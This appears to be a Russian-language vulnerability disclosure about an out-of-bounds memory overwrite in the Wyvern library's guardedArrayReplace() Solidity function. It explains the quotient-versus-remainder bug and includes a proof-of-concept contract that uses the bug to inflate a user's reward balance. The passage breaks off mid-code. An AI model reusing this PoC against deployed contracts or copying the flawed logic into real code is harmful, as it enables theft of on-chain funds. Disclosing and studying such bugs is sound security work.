Введение
Наша система обнаружения уязвимостей нашла уязвимость перезаписи памяти в последней реализации библиотеки Wyvern, которая принадлежит протоколу децентрализованной биржи Wyvern, ранее использовавшемуся OpenSea. Эта ошибка может привести к произвольной записи в хранилище (arbitrary storage write).
Мы пытались связаться с проектом (например, по электронной почте и через социальные сети), но пока не получили ответа. Поскольку OpenSea перешла на протокол Seaport, мы считаем безопасным раскрыть подробную информацию общественности. Кроме того, мы хотели бы поделиться этими результатами для вовлечения сообщества, так как сама ошибка довольно хитрая, а процесс эксплуатации весьма интересен.
Описание
Уязвимый код можно найти в официальном репозитории с хешем коммита 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.
В частности, эта ошибка находится в функции guardedArrayReplace() в файле ArrayUtils.sol. Как следует из названия, эта функция используется для выборочного копирования одного байтового массива динамического размера (т.е. второго параметра с именем desired) в другой (т.е. первого параметра с именем array). Обратите внимание, что эта функция реализована для выполнения операции на уровне слов (т.е. 0x20 байт), поэтому логику кода можно разделить на два шага, основываясь на результате деления.
Для части с частным (т.е. words = array.length / 0x20) логика кода со строки 42 по строку 49 будет копировать желаемый массив в целевой массив пословно. Этот шаг работает ожидаемо, хотя оператор assert в строке 39 бесполезен из-за целочисленной арифметики.

После предыдущего шага, если деление дает остаток, это означает, что все еще существуют байты, которые не были корректно скопированы. Логика кода со строки 52 по строку 66 предназначена для обработки этих байтов. К сожалению, инструкция if в строке 52 ошибочно использует частное (words, то есть array.length / 0x20_), а не остаток (array.length % 0x20) для выполнения проверки.
Уровень серьезности
Эта ошибка может привести к произвольной записи в хранилище. Предположим, что array.length делится на 0x20 нацело, тогда операция копирования фактически выполняется в логике цикла. Однако в большинстве случаев функция войдет в уязвимую логику и попытается скопировать слово за пределами массива desired в целевой массив, что неизбежно вызывает выход за границы памяти (out-of-bounds access). Более того, неверная логика может быть использована для перезаписи слова в конце целевого массива — в неизвестную область памяти, которая может быть использована в любых целях.
Как эксплуатировать эту ошибку?
Мы разработали PoC-контракт, чтобы проиллюстрировать потенциальный вектор атаки. PoC-контракт имеет две функции: первая, названная test(), используется для выполнения атаки, а вторая — это просто та самая уязвимая функция guardedArrayReplace().
В частности, в функции test() мы сначала определяем байты в памяти (a, b и mask) и массив (т.е. _rewards). Определенный здесь _rewards будет использоваться для расчета вознаграждений пользователя. После вызова функции guardedArrayReplace() для копирования a в b с использованием mask, значение _rewards будет добавлено к балансу пользователя (т.е. balances[msg.sender]).
<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph=""> mapping(address=>uint) public balances;<br></span><span id="5b38" data-selectable-paragraph=""> event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph=""> function test() external {<br> bytes memory a = abi.encode(keccak256("123"));<br> bytes memory b = abi.encode(keccak256("456"));<br> uint[] memory _rewards = new uint[](1);<br> bytes memory mask = abi.encode(keccak256("123"));<br> bytes memory d = abi.encode(keccak256("eee"));<br> bytes memory d1 = abi.encode(keccak256("eee"));<br> bytes memory d3 = abi.encode(keccak256("eee"));<br> bytes memory d4 = abi.encode(keccak256("eee"));<br> bytes memory d5 = abi.encode(keccak256("eee"));<br> guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph=""> for(uint i = 0; i < _rewards.length; i++){<br> uint256 amt = _rewards[i];<br> balances[msg.sender] += amt;<br> }<br> }</span><span id="9ed3" data-selectable-paragraph=""> function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br> internal<br> pure<br> {<br> require(array.length == desired.length, "Arrays have different lengths");<br> require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph=""> uint words = array.length / 0x20;<br> uint index = words * 0x20;<br> assert(index / 0x20 == words);<br> uint i;</span><span id="85cd" data-selectable-paragraph=""> for (i = 0; i < words; i++) {<br> /* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br> }<br> }</span><span id="69d7" data-selectable-paragraph=""> /* Deal with the last section of the byte array. */<br> if (words >



